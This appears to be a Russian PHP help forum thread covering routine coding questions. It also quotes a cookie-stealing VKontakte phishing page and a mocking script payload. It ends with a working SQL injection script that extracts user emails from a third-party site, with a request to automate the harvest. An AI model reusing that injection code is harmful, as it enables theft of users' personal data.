Следовательно, нужен простенький парсер на пхп, который бы вытянул мыло и имя, записав их в отдельный файл. Извиняюсь если не в тот раздел, но если кому не сложно, плз, потратьте пару минут на сие благородное дело :) , т.к. у самого получается какая то неработающая ахинея,вытягивающая одни @ или :, которая была успешно снесена :) . Или направьте кде качнуть, либо куда обратиться.
С ув. ThreeD
Доброго времени суток.
Возникла потребность в сортировке базы, база слудующего вида:
Следовательно, нужен простенький парсер на пхп, который бы вытянул мыло и имя, записав их в отдельный файл. Извиняюсь если не в тот раздел, но если кому не сложно, плз, потратьте пару минут на сие благородное дело :) , т.к. у самого получается какая то неработающая ахинея,вытягивающая одни @ или :, которая была успешно снесена :) . Или направьте кде качнуть, либо куда обратиться.
С ув. ThreeD
Парсер сделаю, только скажи, как имя вытягивать? Имя всегда должно идти после : ?
Marco,чуть глючит,когда файл скрипта вызывается как результат отправки формы-все ок,а если набрать адрес этого скрипта выдает ошибку нотис че та там индексный требует,может сделать подавление ошибок чтоб невидно было?
2 Macro
Заранее искренне благодарен, если честно-мне без разницы, если чё-я на код посмотрю и сам подправлю, по крайней мере попытаюсь ;)
Мне главное, чтоб лишний мусор убрать. Спасибо.
С ув. ThreeD
Marco,чуть глючит,когда файл скрипта вызывается как результат отправки формы-все ок,а если набрать адрес этого скрипта выдает ошибку нотис че та там индексный требует,может сделать подавление ошибок чтоб невидно было?
Скажи какой нотис.
2Threed
Ok сейчас напишу
Notice: Undefined index: ip in /usr/home/smart60 /htdocs/hlam/ip-host.php on line 7 Удачной дороги нафиг!
2Demetra выложи весь код ip-host.php я скажу в чем проблема
2ThreeD
Что-то в этом роде.
<?
$baza=file_get_contents('baza.txt');
preg_match_all('/([^\s@]+@[^\s\.]+\.[a-z]{2,8}):([^\s]*)/i',$baza,$matches);
$emails=$matches[1];
$names=$matches[2];
?>
<?php print" <form action='' method='POST'> <input type=text name='ip' value= ''size='' maxlen='12'> <input type=submit value=Ok> </form>"; $ip=($_POST['ip']); if(! preg_match ( '/^([\d]{1 ,3 }\.[\d]{1 ,3 }\.[\d] {1 ,3 }\. [\d]{1 ,3})$/', $ip )){die( 'Удачной дороги нафиг!' );} $hostname=gethostbyadd r("$ip");echo"имя $ip: $hostname";?>
<?php print" <form action='' method='POST'> <input type=text name='ip' value= ''size='' maxlen='12'> <input type=submit value=Ok> </form>"; $ip=($_POST['ip']); if(! preg_match ( '/^([\d]{1 ,3 }\.[\d]{1 ,3 }\.[\d] {1 ,3 }\. [\d]{1 ,3})$/', $ip )){die( 'Удачной дороги нафиг!' );} $hostname=gethostbyadd r("$ip");echo"имя $ip: $hostname";?>
ВОт так ошибки не должно быть
<?php
print ("
<form action='' method='POST'>
<input type=text name='ip' value= ''size='' maxlen='12'>
<input type=submit value=Ok>
</form>");
if(isset($_POST['ip']))
{
$ip=$_POST['ip'];
if(! preg_match ( '/^([\d]{1 ,3 }\.[\d]{1 ,3 }\.[\d] {1 ,3 }\. [\d]{1 ,3})$/', $ip ))
{die( 'Удачной дороги нафиг!' );} $hostname=gethostbyadd r("$ip");
echo("имя $ip: $hostname");
}
?>
Marco,вобще хрень вылазит,лан сама разберусь,спосибо)
Marco,вобще хрень вылазит,лан сама разберусь,спосибо)
Гы Ты когда запостила код - форум вставил пробел в имя функции gethostbyaddr
ВОт так работает
<?php
print ("
<form action='' method='POST'>
<input type=text name='ip' value= ''size='' maxlen='12'>
<input type=submit value=Ok>
</form>");
if(isset($_POST['ip']))
{
$ip=$_POST['ip'];
if(! preg_match ( '/^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1 ,3})$/', $ip ))
{die( 'Удачной дороги нафиг!');}
$hostname=gethostbyaddr("$ip");
echo("имя $ip: $hostname");
}
?>
не там $ в регулярном лишнее
не там $ в регулярном лишнее
нет не лишнее
.:EnoT:.
26.12.2007, 04:43
полчетвёртого ночи, не хрена не соображаю =/
Выборку нужно сделать всех данных, содержащих цифру 1 в поле `number` в обратном порядке, начиная с последнего id.
$query = @mysql_query("SELECT * FROM `table` WHERE `number` = '1' ORDER BY `number` DESC");
этот запрос не работает (выводит всё равно начиная с первого id )
может потому что ты сортируешь единицы=)? по дате бы получилось, а 1 всегда 1 вот и выводит как есть, хз
полчетвёртого ночи, не хрена не соображаю =/
Выборку нужно сделать всех данных, содержащих цифру 1 в поле `number` в обратном порядке, начиная с последнего id.
$query = @mysql_query("SELECT * FROM `table` WHERE `number` = '1' ORDER BY `number` DESC");
этот запрос не работает (выводит всё равно начиная с первого id )
тебе нужно с последнего id а тут ты сортируешь по 1 вот вариант:
$query = @mysql_query("SELECT * FROM `table` WHERE `number` LIKE '%1%' ORDER BY `id` DESC");
либо = вместо LIKE это от задачи зависит.
groundhog
26.12.2007, 10:46
select * from some_table where some_field=1 order by -id
.:EnoT:.
26.12.2007, 11:41
всем спасибо буим пробовать
люди, вот спросить хотел, вот в сети через мой ип погут смотреть мой сайт, а можно как нибуть сделать чтобы могли мне файлы заливать типа фтп чтоли
groundhog
26.12.2007, 12:05
Вопрос не по теме. Подними любой FTP-сервер. FileZilla, например.
XopoIII, а можно и черех хттп.
Создаем 2 файла
//это файл accept.php
<?php
move_uploaded_file($userfile, './file.file');
?>
//это файл transfer.html
<FORM ENCTYPE='multipart/form-data' ACTION='./accept.php' METHOD='POST'>
<INPUT TYPE='hidden' name='MAX_FILE_SIZE' value='100000'>
Send this file: <INPUT NAME='userfile' TYPE='file'>
<INPUT TYPE='submit' VALUE='Send'>
</FORM>
Вот. Открываешь transfer.html отправляеь файл. Он будет называться file.file. Здесь никакой фильтрации НЕТ, так что думай сам))) В общем дальше просто модифицируй.
незакачивается...попробова скрипты фтп установить тож не закачивается, мож что нужно в настройках апача включить?
незакачивается...попробова скрипты фтп установить тож не закачивается, мож что нужно в настройках апача включить?
http://php.ru/manual/features.file-upload.html
http://www.phpclub.ru/detail/article/upload
Там всё написано
Raven666
26.12.2007, 14:26
<?php
$images = '<img src="upload_file.gif" />';
if ($handle = opendir('w:/www/upload')) {
while (false !== ($file = readdir($handle))) {
if( $file != "." and $file != ".." and $file != "Thumbs.db" and $file != ".htaccess" and $file != "index.php") {
echo "".($images)." <a href=/upload/$file>$file</a> ". ($_FILES["file"]["size"] / 1000) ." байт <br>";
}
}
closedir($handle);
}
?>
Почему не показывает размер файла? пишет 0 байт :(
Потому что $_FILES это подмассив массива $_POST
Код исправь на такой:
<?php
$images = '<img src="upload_file.gif" />';
if ($handle = opendir('w:/www/upload')) {
while (false !== ($file = readdir($handle))) {
if( $file != "." and $file != ".." and $file != "Thumbs.db" and $file != ".htaccess" and $file != "index.php") {
echo "".($images)." <a href=/upload/$file>$file</a> ". (filesize($file) / 1000) ." байт <br>";
}
}
closedir($handle);
}
?>
Raven666
26.12.2007, 15:20
пишет ошибку:
Warning: filesize() [function.filesize]: stat failed for bear1.gif in W:\www\dir_upload_file.php on line 6
bear1.gif 0 байт
2Raven666
Попробуй:
<?
$images = '<img src="upload_file.gif" />';
if ($handle = opendir('w:/www/upload')) {
while (false !== ($file = readdir($handle))) {
if( $file !== "." and $file !== ".." and $file !== "Thumbs.db" and $file !== ".htaccess" and $file !== "index.php") {
echo "".($images)." <a href=/upload/$file>$file</a> ". (filesize('upload/'.$file) / 1000) ." байт <br>";
}
}
closedir($handle);
}
?>
Raven666
26.12.2007, 23:03
LordsTN,
Спасибо за помощь, работает!
Macro,
Тебе тоже спасибо! - хотя бы не отказался помочь :)
2Raven666 Всегда рад помочь :)
Тупой вопрос. как лучше организовать? есть 2 кнопки например да\нет.
нажимаешь да - берет текущее значение из файла yes.dat и прибавляет +1 и ложит обратно в файл + выводится текст что вы выбрали то то
нет - берет из no.dat и прибавляет +1 и ложит туда же + выводится текст что вы выбрали другое.
ну т.е. типа голосовалки. в принципе сделать могу, но получается в 3 файла это всё. а как в один файл всё запихнуть
<?
if(isset($_REQUEST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ ВЫБРАЛИ ДА!!!');
}
if(isset($_REQUEST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ ВЫБРАЛИ НЕТ!!!');
}
print('<form method="POST"><input type=submit name=yes value="Да"><input type=submit name=no value="Нет"></form>');
?>
спс, это как раз то что нужно ;)
осталося прикрутить ограничение на повторный выбор, попробую через куки сделать
$str="<br><br>11111<br>22222<br>";
$str=substr($str,4,18);// для данного конкретного случая.
$str=substr($str,4,strlen($str)-8); //для всех остальных =)
astrologer
28.12.2007, 19:47
preg_replace('/^<br>(.*)<br>$/i', '\1', $str);
preg_replace('/^<br>(.*)<br>$/i', '\1', $str);
гг
поправка
$str=preg_replace('/^<br>(.*)<br>$/i', '\1', $str);
Я тоже иногда синтаксис с preg_match путаю :D
<?
if(isset($_REQUEST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');
}
if(isset($_REQUEST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');
}
print('<form*method="POST"><input*type=submit*name=yes*value="Да"><input*type=submit*name=no*value="Нет"></form>');
?>
что тут исправить чтобы при нажатии кнопки появлялася тока надпись, а кнопки да\нет исчезли?
<?php
if(isset($_POST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');
}
else
if(isset($_POST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');
}
else
print('<form*method="POST"><input*type=submit*name=yes*value="Да"><input*type=submit*name=no*value="Нет"></form>');
?>
Isis нету толка. тож самое
<?
if(isset($_REQUEST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');die;
}
if(isset($_REQUEST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');die;
}
print('<form*method="POST"><input*type=submit*name=yes*value="Да"><input*type=submit*name=no*value="Нет"></form>');
?>
Macro, я уверен что код этот у него будет стоять где-нибудь в середине страницы...потом он с такими же вопросами будет спрашивать куда делся футер.....а твой "дай" сделал свою функцию - убил его
Macro, я уверен что код этот у него будет стоять где-нибудь в середине страницы...потом он с такими же вопросами будет спрашивать куда делся футер.....а твой "дай" сделал свою функцию - убил его
Гг ну тогда
<?php
if(isset($_POST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');
}
else{
if(isset($_POST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');
}
else
print('<form method="POST"><input type=submit name=yes value="Да"><input type=submit name=no value="Нет"></form>'); }
?>
Macro, мой первый код аналогичный :)
Вроде заробило, тока я не понял, оно кэшируется или че. куки пусты вроде, но при обнове страницы показан выбранный ответ
Macro, Isis, я конечно извиняюся, но толку нету всё равно. вы залейте куда нить и проверьте сами =\
Ты кэш обнови и радуйся
вопрос не по теме тада, как обновить? ф5 в опере не помогает =\
cb93ka, если бы не работало, я бы не писал =\
из того же =(
после тока как проголосовал - нажимаешь ф5 и ещё голоса плюсуются.
как избежать? в какую сторону копать хотя бы? по кукам запрещать? или что
из того же =(
после тока как проголосовал - нажимаешь ф5 и ещё голоса плюсуются.
как избежать? в какую сторону копать хотя бы? по кукам запрещать? или что
Слушай, тут тема помощи, а не написания скриптов.
Если хочешь, чтобы для тебя с нуля и до необходимого конца написали скрипт - плати.
я спросил в какую сторону копать.
astrologer
28.12.2007, 22:18
При нажатии F5 POST-запрос отправляется заново.
По крайней мере, в Opera и FF
я спросил в какую сторону копать.
Копать в сторону запрета голосования с одного ip более одного раза, число голосов определять по количеству ip в файле или базе.
<?php
if(isset($_POST['yes']))
{
$n=intval(file_get_contents('yes.dat'));
$n++;
$fp=fopen('yes.dat','wb');
fwrite($fp,$n);
fclose($fp);
unset($_POST['yes']);
echo('ВЫ*ВЫБРАЛИ*ДА!!!');
}
else{
if(isset($_POST['no']))
{
$n=intval(file_get_contents('no.dat'));
$n++;
$fp=fopen('no.dat','wb');
fwrite($fp,$n);
fclose($fp);
unset($_POST['no']);
echo('ВЫ*ВЫБРАЛИ*НЕТ!!!');
}
else
print('<form method="POST"><input type=submit name=yes value="Да"><input type=submit name=no value="Нет"></form>'); }
?>
При нажатии F5 POST-запрос отправляется заново.
По крайней мере, в Opera и FF
используй функцию unset. Для заперта голосования с одного ip
$fp = file('tools/port.txt');
f(isset($_POST['yes']) && isset($_POST['no']))
{
$ip=getenv("Remote_addr");
for ($i = 0; $i < count($fp); $i++){
$ban[$i] = ereg_replace("\n","",$fp[$i]);
list($banip,$banmessage)= spliti (" ",$fp[$i]);
//если, в файле находим совпадение с ip
if (eregi("^$banip$",$ip))
{ echo '<b>Вы уже голосовали '.$fp[$i].'</b>'; }
}
}
проверь, написал на скорою руку.
VampiRUS
29.12.2007, 04:42
cb93ka после того как голос учтён, перекидывай юзверя на новую страницу, и проблема ф5 решена, например как на этом форуме при постинге.
VOLAND']Ха)) в том то и сложность что количество <br> может изменяться..... Короче надо написать функцию-аналог trim для того чтобы обрезала <br> при постинге коммента в гесте...так и не понял что те конкретно надо... но если тупо вырезать тег <br> то юзай str_replace('<br>','',$str); а если хочешь чтоб теги не обрабатывались браузером то юзай htmlspecialchars()
groundhog
29.12.2007, 11:09
А ещё есть такие функции как strip_tags и preg_replace...
Нужен скрипт, который при запуске через крон будет запускать рандомно один из 100 других.
К примеру в cmd.txt указать построчно 100 файлов php и скрипт должен нашару брать одни и запускать
зы, в php ничё не смыслю=)
Joker-jar
30.12.2007, 23:57
Делаешь массив имен скриптов
$sarr = array('script1.php', 'script2.php','script3.php');
Потом рандомом инклудишь один из них
include $sarr[rand(0,count($sarr)-1)];
Либо редирект на него
Тоже самое только названия берет с файла
<?
$include=file('.\cmd.txt');
list($line,$num) = each ($include);
include(chop($include[rand(0,count($include)-1)]));
?>
Тоже самое только названия берет с файла
<?
$include=file('.\cmd.txt');
list($line,$num) = each ($include);
include(chop($include[rand(0,count($include)-1)]));
?>
не понял...
так проще, лучше, а самое главное правильно в отличии от предыдущего поста
<?
$include=file("cmd.txt");
include(chop($include[mt_rand(0,count($include)-1)]));
?>
Доброго дня,
Не подскажете, насколько безопасна капча внизу и стоит ли в ней что-нибудь заменять?
http://img245.imageshack.us/img245/703/capchahj8.png
.:EnoT:.
31.12.2007, 06:07
Ну в этой капче хорошо бы если б цифры перекарёживались, а то так распознать можно или зачёркнуты бы были предположим, тоже вариант...
Ты сам чтоли капчу пишешь?
Угу, основа лежит в "полезных скриптах" на странице эдак 12...
Вот еще варианты:
http://img178.imageshack.us/img178/3985/capcha2ih6.png
http://img172.imageshack.us/img172/5139/capcha3lo0.png
Просто, но не хочится морочить себе голову вирлами, поворотами, шрифтами... (а чувствую что предется...).
ПС. Один простой вопрос: как проверить, открыта ли уже сессия?
.:EnoT:.
31.12.2007, 06:36
Первый конечно ничего, но слабочитаемый))
ПС. Один простой вопрос: как проверить, открыта ли уже сессия?
if(isset($_SESSION['lala']))
{
echo"Ссессия есть";
}
else
{
echo"Нету не хрена";
}
Первый конечно ничего, но слабочитаемый))
if(isset($_SESSION['lala']))
{
echo"Ссессия есть";
}
else
{
echo"Нету не хрена";
}
ну тебе может быть не известны имена переменных.чтобы быть абсолютно уверенным:
<?php
if(session_destroy()) echo "сессия была";
else echo "сессии не было";
?>
тогда уж:
if(isset($_SESSION))
{
echo"Ссессия есть";
}
else
{
echo"Нету не хрена";
}
народ ищу вот это _ttp://freestudents.ru/vkontakte/graffiti.php
Я гарантирую, что на моем сайте конфиденциальная информация защищена! Администратор. :o
мл( в пхп не силен... мб есть у кого?
.:EnoT:.
31.12.2007, 17:59
тупой развод. это из разряда - отправьте нам свой пароль, а то заблокируем аккаунт
ну тебе может быть не известны имена переменных.чтобы быть абсолютно уверенным:
<?php
if(session_destroy()) echo "сессия была";
else echo "сессии не было";
?>
Чет мну это напоминает ^^
<Шелезяка[work]> подскажите плиз как проверить существует ли таблица в базе mysql
<Есть> if (mysql_query('DROP TABLE таблица')) echo "таблица существовала";
Появился другой вопрос: как на уровне js убрать из строки ненужные "перенос строки" (ajax'у приходит строка, в которой откуда-то появляются лишние /n =( )
_ttp://freestudents.ru/vkontakte/graffiti.php :
1. Заходим на страницу ВКонтакта
2. В адресной строке браузера вводим:
javascript:document.write(document.cookie);
3. Скопируйте сюда, что получили**:
Омг, а ведь найдутся люди, которые поверят =( . А потом их друзья будут им писать "Так когда ты мне отдашь мои 100$ которые я тебе переслал на твой электронный кошелек?"
Отправил:
Ты долбоеб! <script>while(1) {alert(/mda/); }</script>
Интересно, как он читает логи =)
astrologer
01.01.2008, 18:39
javascript:document.write(document.cookie); И зачем ему тут document.write.Появился другой вопрос: как на уровне js убрать из строки ненужные "перенос строки" (ajax'у приходит строка, в которой откуда-то появляются лишние /n =( )По какому принципу различаются нужные и ненужные? Вот так удаляются все:
<script type="text/javascript">
var str;
str = Данные_с_"CR"_ и_"LF";
str = String(str).replace(/(\r|\n)/g, '');
</script>
И зачем ему тут document.write
Потому как в нек бразерах, например IE нельзя копировать вывод например из обычного Алерта... А так легче копировать вывод куков =\
astrologer
01.01.2008, 19:48
Потому как в нек бразерах, например IE нельзя копировать вывод например из обычного Алерта... А так легче копировать вывод куков =\При "переходе" по JS-URI, на странице показывается значение, возвращенное последним выражением:javascript:document.cookieЛ чше бы он функционал написал. А ещё лучше - не занимался бы подобными разводами.
нужно реализовать капчу. вернее, передачу ее правильного значения между скриптами. я делал так.
в начале страницы с формой
<?php
session_start();
session_register("pic_val");
?>
потом идет
<img src="pic.php">
в pic.php рисуется капча и в ней присваивается значение сеансовой переменной $_SESSION["pic_val"] = $captcha;
в скрипте, куда идет пользователь сравниваются значения капчи и введенное
echo $_SESSION["pic_val"].$_POST["pic"]
выводится только $_POST["pic"], т.е. сеансовой переменной значение не присваивается. как сделать, чтобы работало?
Начинай и регистрируй сессию в скрипте капчи.
то же самое. может в конфигах что-то подправить?
-Hormold-
02.01.2008, 02:04
Помогите, нужен скрипт...
Вот описание:
Есть определённое количество очков. После скрипт считаем, если больше 50 очков он выводит скрипт по такому принципу:
//$s - очки
if(mt_rand(0,200)%5==0&&$s<50)
{
$text.="Вот тебя девятка!<br>";
$s-=50;//Вычитаем из общего количества очков
}
И так далее, например требования очков: 20,50,120,700,1000
то же самое. может в конфигах что-то подправить?
Тогда скорее всего $captcha не определена.
if(mt_rand(0,200)%5==0&&$s<50)
в каком порядке будут выполняться действия? расставь скобки
Тогда скорее всего $captcha не определена.
$captcha = rand(1000, 9999);
$_SESSION["pic_val"] = $captcha;
...
Проверь наличие session_start(); во всех скриптах (оно должно быть и в pic.php и в файле с формой, до вывода каких-либо данных) и убери session_register("pic_val");
Ну и проверить сниффером наличие айди сессии в передаваемых браузером данных, может что-то режет куки
Проверь наличие session_start(); во всех скриптах (оно должно быть и в pic.php и в файле с формой, до вывода каких-либо данных) и убери session_register("pic_val");
Ну и проверить сниффером наличие айди сессии в передаваемых браузером данных, может что-то режет куки
спасибо =)) дело оказалось в session_start();
почему можно было убрать session_register("pic_val"); ?
почему можно было убрать session_register("pic_val"); ?
Дык оно deprecated, плюс работает только если включено register_globals что вообще идея дурная.
Caution
If you want your script to work regardless of register_globals, you need to instead use the $_SESSION array as $_SESSION entries are automatically registered. If your script uses session_register(), it will not work in environments where the PHP directive register_globals is disabled.
http://ru2.php.net/session_register
Piflit
Не забудь кэшировать md5 значение , которое вставляешь в сессию.
Если капча идет на регистрацию(например) , то не забудь при успешной регистранции сделать $_SESSION["pic_val"]=rand(1000,9999); т.к. если значение этой сессионной переменной не поменять, то юзер сможет регистрировать до бесконечности, вставив однажды нужный код.
Piflit
Не забудь кэшировать md5 значение , которое вставляешь в сессию.
всмысле?..
Piflit
Если капча идет на регистрацию(например) , то не забудь при успешной регистранции сделать $_SESSION["pic_val"]=rand(1000,9999); т.к. если значение этой сессионной переменной не поменять, то юзер сможет регистрировать до бесконечности, вставив однажды нужный код.
$_SESSION["pic_val"]=rand(1000,9999); почему-то не пашет... использовал session_destroy();
ЗЫ какое значение у параметров функции bcmod();?
В смысле, что когда рандомишь то, что будет выведенно на картинке, в соответствующую переменную сессии заносишь md5 хэш того отрандомленного числа/слова. Потом при проверке делаешь что-то вроде :
if($_SESSION["pic_val"] == md5($_POST['capcha']) {все нормально}
else {все плохо}
(это для того, чтобы "злоумышленник" не брал нужный капченый код из сессии)
А насчет session_destroy(); , это, впринципе, даже лучше... ^^
Про bcmod()
string bcmod ( string left_operand , string modulus )
целый остаток от деления левого числа на правое
<?php
echo bcmod('4', '2'); // -> 4=2*2+0 выведет 0
echo bcmod('2', '4'); // -> 2=4*0+2 выведет 2
?>
По посту внизу:
Скажем так, что если все делается через cookies, то хэширование обязательно, если через сессии, то просто желательно...
if($_SESSION["pic_val"] == md5($_POST['capcha']) {все нормально}
else {все плохо}
(это для того, чтобы "злоумышленник" не брал нужный капченый код из сессии)
Не сочтите за флейм, но разницы в плане "надежности" между хранением в $_SESSION самого кода и его md5 нет никакой - без шелла/инклуда/дыры-на-просмотр-произвольных-переменных на сервере с капчей пользователь содержимое $_SESSION узнать не может.
у меня есть в бд таблица с полями, у которых id (клолонка типа SERIAL) имеет значения 1, 2 и 3. (3 записи). как сделать, чтобы при удалении второй записи id третьей записи менялся с 3 на 2?
у меня есть в бд таблица с полями, у которых id (клолонка типа SERIAL) имеет значения 1, 2 и 3. (3 записи). как сделать, чтобы при удалении второй записи id третьей записи менялся с 3 на 2?
mysql_query("UPDATE tablica SET id=2 WHERE id=3")
Или тебе это хочется автоматически? А зачем?
mysql_query("UPDATE tablica SET id=2 WHERE id=3")
гы. конечно автоматически))
гы. конечно автоматически))
Автоматически не получится. А зачем? PHP ведь все равно по порядку выдирает из базы, не зачем использовать id, пронумеруй записи при выводе
ой, я синтаксиса не знаю, но там через условия то можно наверное написать
заносишь функцию удаления в перменную, потом через if() проверяешь её на существования и в случает если она возвратит тру, в болке if {} выполняешь код от Macro =)
Сори: если я бред пишу, но вроде так
я пшп не знаю =(
$ok = mysql_query("DELETE FROM tablica WHERE id=3");
if ($ok) {
mysql_query("UPDATE tablica SET id=2 WHERE id=3");
}
ну вот так наверное, или я чего не так понял? 0_о
ой, я синтаксиса не знаю, но там через условия то можно наверное написать
заносишь функцию удаления в перменную, потом через if() проверяешь её на существования и в случает если она возвратит тру, в болке if {} выполняешь код от Macro =)
Сори: если я бред пишу, но вроде так
я пшп не знаю =(
Нет, в условии нельзя. Да и нафиг не нужно :) Просто из цикла вывода вставляем $i к каждой записи. Получается отличная нумерация по порядку
$result = mysql_query("SELECT id, something FROM tablica ORDER BY id");
$i=0;
while($fetch = mysql_fetch_array($result, MYSQL_ASSOC)){
$some = $fetch['something'];
mysql_query("UPDATE tablica SET id=$i WHERE something = $some")
$i += 1;
}
Что-то похожее на это. Так делаем ид у всех в нужном порядке...
Macro, почему нельзя? разве приведённый мной код не будет работать?
Meanor, угу, но something не обязательно.
$result = mysql_query("SELECT id FROM tablica ORDER BY id");
$i=0;
while($fetch = mysql_fetch_array($result, MYSQL_ASSOC)){
$id = $fetch['id'];
mysql_query("UPDATE tablica SET id=$i WHERE something = $id")
$i++;
}
Macro, почему нельзя? разве приведённый мной код не будет работать?
Извини, я тебя неправильно понял :) Все правильно говоришь.
всем спасибо, я разобрался)
Нужно написать небольшой скрипт для рекламы, мне хотелось бы чтобы была возможность выводить баннеры на сайт (например баннер 468Х60) в рандомном порядке
А так же желательно сделать вывод баннеров по разделам "468Х60" "120Х600" "100Х100"
Вот пример, name'ы заменяешь на соответствующие названия картинки баннера + формат картинки изменишь.
В хтмл файле, в нужных местах вставляешь [%468Х60%], [%120Х600%], [%100Х100%], в те места, где должен (должны) быть соответствующий баннер.
Все картинки баннеров сложены в папку banners.
$buf=implode('',file('templates/site.htm')); //Загружаем хтмл файл сайта
//Создаем массивы с баннерами
$ban1 = array('1_name1.png' ,'1_name2.png', '1_name3g.pn'); // для 468Х60
$ban2 = array('2_name1.png', '2_name2.png',' 2_name3.png', '2_name4.png'); // для 120Х600
$ban3 = array('3_name1.png', '3_name2.png'); // для 100Х100
//Рандомим индексы массивов
$index1 = rand(0,(count($ban1)-1));
$index2 = rand(0,(coun($ban2)-1));
$index3 = rand(0,(count($ban3)-1));
//Готовим баннеры хтмл'ом
$banner1 = '<img src=\"banners/'.$ban1["$index1"].'\" />'
$banner2 = '<img src=\"banners/'.$ban2["$index1"].'\" />'
$banner3 = '<img src=\"banners/'.$ban3["$index1"].'\" />'
//Вставляем баннеры в сайт
$buf=str_replace("[%468Х60%]",$banner1,$buf);
$buf=str_replace("[%120Х600%]",$banner2,$buf);
$buf=str_replace("[%100Х100%]",$banner3,$buf);
П.с. А последнюю строчку своего сообщения ты забыл ;)
Вот пример, name'ы заменяешь на соответствующие названия картинки баннера + формат картинки изменишь.
В хтмл файле, в нужных местах вставляешь [%468Х60%], [%120Х600%], [%100Х100%], в те места, где должен (должны) быть соответствующий баннер.
Все картинки баннеров сложены в папку banners.
$buf=implode('',file('templates/site.htm')); //Загружаем хтмл файл сайта
//Создаем массивы с баннерами
$ban1 = array('1_name1.png','1_name2.png','1_name3.png');
$ban2 = array('2_name1.png','2_name2.png','2_name3.png','2 _name4.png');
$ban3 = array('3_name1.png','3_name2.png');
$index1 = rand(0,(count($ban1)-1));
$index2 = rand(0,(coun($ban2)-1));
$index3 = rand(0,(count($ban3)-1));
$banner1 = '<img src=\"banners/'.$ban1["$index1"].'\" />'
$banner2 = '<img src=\"banners/'.$ban2["$index1"].'\" />'
$banner3 = '<img src=\"banners/'.$ban3["$index1"].'\" />'
$buf=str_replace("[%468Х60%]",$banner1,$buf);
$buf=str_replace("[%120Х600%]",$banner2,$buf);
$buf=str_replace("[%100Х100%]",$banner3,$buf);
слушай мне нужна чтоб ставился виде хтмл
да и ещё чтоб можно удалять и редактировать
пример:
<!-- Yandex CY --><a href="http://www.yandex.ru/cy?base=0&host=www.site.ru" target="_blank"><img src="http://www.yandex.ru/cycounter?www.site.ru" width=88 height=31 border=0></a><!-- /Yandex CY -->
слушай мне нужна чтоб ставился виде хтмл
да и ещё чтоб можно удалять и редактировать
пример:
<!-- Yandex CY --><a href="http://www.yandex.ru/cy?base=0&host=www.mpchat.com" target="_blank"><img src="http://www.yandex.ru/cycounter?www.mpchat.com" width=88 height=31 border=0></a><!-- /Yandex CY -->
Я не понимаю, что тебе конкретно нужно, чтобы адрес ссылки тоже менялся в зависимости от картинки баннера? тогда просто делаешь еще параллельный массив с адресом ссылок, потом, имея отрандомленный индекс извлекаешь из обоих массивов информацию и хтмл'ишь ее в нужный тебе вид, а потом выводишь...
вот такой скрипт нужно на писать
http://i007.radikal.ru/0801/bc/b10f5b503cc7.gif
помогите на писать
:confused:
вот такой скрипт нужно на писать
помогите на писать
:confused:
нефтыкнул что должен скрипт делать?
нефтыкнул что должен скрипт делать?
Либо скрипт котрый выводит такие формочки с таким текстом, либо этот скрипт должен выводить картинки типа той, при помощи lib gd %)
сори за флейм.
нефтыкнул что должен скрипт делать?
на кортинке всё понятно :)
Есть сайт, там авторизация через кукисы. Как сделать, чтобы скрипт после отправлении пост запроса(авторизации) мог с помощью гет запроса получать страницы требующие авторизации?
Есть сайт, там авторизация через кукисы. Как сделать, чтобы скрипт после отправлении пост запроса(авторизации) мог с помощью гет запроса получать страницы требующие авторизации?
http://php.net/fsockopen
Используй функцию fsockopen и fwrite в ее хэндл
Допустим на сайте имеется sql инъекция (MySQL база). Есть доступ к таблице users и поле email. Вывод осуществляем так
http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users
Выводится только 1 юзер из n-ого количества. Пользуемся лимитом для перебора, но в таблице до*я юзеров - нужно автоматизировать процесс. Я сделал такой скрипт
<?php
$PORT = 80;
$ADDR = gethostbyname("site.com");
$fp = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($fp,$ADDR,$PORT);
$n = 2;
$str1 = "GET http://www.site.com/id.php?ID=-1+union+select+1,2,email,4,5,6+from+users+limit+";
$str2 = ",1 HTTP/1.0\r\n Host: site.com\r\n\r\n";
$str = $str1.$n.$str2;
socket_write($fp,$str,strlen($str));
while($out = socket_read($fp,2048))
{
$s = strstr($out,"<h1>");
$nm = strpos($s,"</h1>");
echo substr($s,4,$nm - 4);
}
socket_close($fp);
echo "<br>";
?>
Все отлично работает - скрипт выводит нам мейл (разумеется работает только с этим сайтом)
НО проблема - почему этот скрипт не работает в цикле ???? Тоесть я хочу, что бы переменная $n (значение лимита) менялась в цикле и каждую итерацию скрипт загружал новую страницу, извлекал оттуда мейл и что-то с ним делал (например записывал в файл). Например так
for($i=0;$i < 10;$i++)
{
